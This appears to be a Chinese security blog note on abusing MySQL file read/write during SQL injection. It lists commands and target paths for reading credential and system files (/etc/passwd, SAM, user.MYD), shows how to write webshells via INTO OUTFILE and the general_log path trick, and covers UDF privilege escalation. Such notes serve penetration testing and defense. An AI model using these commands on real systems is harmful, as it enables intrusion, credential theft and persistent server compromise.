mysql文件读写

文件读写的限制

具体可以看这里呀,官方是最准的。取决于secure_file_priv变量

查看方式

1
2
3
4
5
6
MySQL [bertram]>show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+

又因为 secure_file_priv 参数是只读参数,不能使用set global命令修改。

1
2
MySQL [bertram]> set global secure_file_priv='';
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

image-20221107224929112

在5.6.34版本以上:

1.空字符串:可以写入/读取到任何位置

2.某目录:可以写入/读取到该目录

3.NULL:不可读写

默认:与操作系统有关,windows上默认是NULL;linux上默认是一个指定路径。

在5.6.34版本以下

1.空字符串:可以写入/读取到任何位置

2.某目录:可以写入/读取到该目录

默认:空字符串

读文件

没什么其他的好方法,就两个命令

1
2
select * from load_file('/etc/passwd');
load data infile '/etc/passwd' into table a;

但是可以读一些比较有用的文件。

1.各种配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件,如:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本

/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码

2.代码审计

如果存在一个注入点,又知道网站绝对路径(也可以通过先读默认中间件配置文件,获取网站根路径,再读文件),那么可以读取网站源码,逐个读取后,进行审计。

写文件

into outfile

1
select '111' into outfile '/tmp/1.txt';

linux下

linux下,mysql为mysql用户权限,是一个低权限用户,如果web目录有权限的话,可以尝试写入webshell到web目录。

windows下

windows,如果管理员配置mysql服务不当(很可能),那么可以写入到任意目录,当然前提是secure_file_priv变量没限制。就可以写webshell写启动项、各种写了。

windows下还有个mof提权,太老了,windows2003的,有兴趣可以看看这里

写log文件!

这个函数是不受secure_file_priv变量限制的。

查看 general log状态:

1
show variables like "%general%";
1
show variables like "%general%";

img

一般 general_log 默认是关闭的,不过这个配置我们可以手动开起来。

设置日志输出类型为文件:

有时候 mysql 默认日志输出类型不是 FILE 而是 TABLE。

如果是TABLE的话,是不会将日志输出为文件格式的。

img

需要将其类型设置为 FILE

1
set global log_output="FILE";

设置输出文件路径:

1
set global general_log_file="/var/www/html/1.php";

开启 general log:

1
set global general_log=on;

由于一开启 general log,此时在 mysql 上的所有操作都会被记录下来。为了让输出的文件杂质少一点。我们细节一点最后再开启 general log

imgimg

同时这里也可以用慢查询的日志来写入,这样可以让日志杂质更少一点。

与上面基本一样,具体看这里或者这里

udf相关

  1. udf简介:
  2. udf提权原理
    • 在udf.dll/udf.so文件中自定义一些能够以mysql权限执行系统命令的函数,然后将该函数导入到mysql数据库中,通过mysql数据库去以mysql权限执行系统命令。

版本限制

收到两个变量的双重限制plugin_dirsecure_file_priv

这一块总体趋向于越来越安全,具体的可以看老外的这个文章

https://osandamalith.com/2018/02/11/mysql-udf-exploitation/

image-20221108000639177

先了解下plugin_dir变量

1
show variables like "%plugin%"

image-20221108001443976

>=5.0.67版本:

udf文件必须位于插件目录,插件目录来自于变量plugin_dir,且该变量在默认为@@BASEDIR/lib/plugin,在之前的版本中默认为空

如果变量plugin_dir为空,那么udf文件必须位于动态链接库能找到的地方,比如:

1
2
3
4
5
6
mysql二进制文件所在的地方
/lib/
/lib64/
c:\windows
c:\windows\system
c:\windows\system32

写入权限限制

可能plugin目录并不存在,那么可以尝试用webshell去创建该目录,再写入udf文件到该目录;如果webshell没有权限创建该目录,windows下可以用ntfs的特性尝试利用mysql去创建。

具体看看这里就好了

1
https://www.cnblogs.com/zzjdbk/p/12990164.html

udf编译

我们完全可以自己定制一个udf,这个网上也有源码,贴几个案例

1
2
3
4
https://xz.aliyun.com/t/2365
http://mysql.taobao.org/monthly/2019/02/08/
https://www.cnblogs.com/yunsicai/p/4080864.html

两个有名的cve

具体漏洞分析没找到,直接看利用吧

1
2
https://xz.aliyun.com/t/1122
https://www.sqlsec.com/2020/11/mysql.html#MSF-%E5%90%AF%E5%8A%A8%E9%A1%B9%E6%8F%90%E6%9D%83

ssrf+mysql

其实已经超出mysql的范畴,更像是利用ssrf

1
2
https://book.hacktricks.xyz/pentesting-web/sql-injection/mysql-injection/mysql-ssrf
https://paper.seebug.org/510/

读客户端文件

这个还是一个比较有意思的利用,通过构造恶意的服务端,可以读取客户端的文件。在一些php/jsp/asp探针上均可以利用。而且在某些情况下还能rce(当然我觉得都是理论存在而已)

1
2
3
4
https://www.anquanke.com/post/id/106488
https://www.secpulse.com/archives/175684.html
https://www.modb.pro/db/51823
https://www.anquanke.com/post/id/197518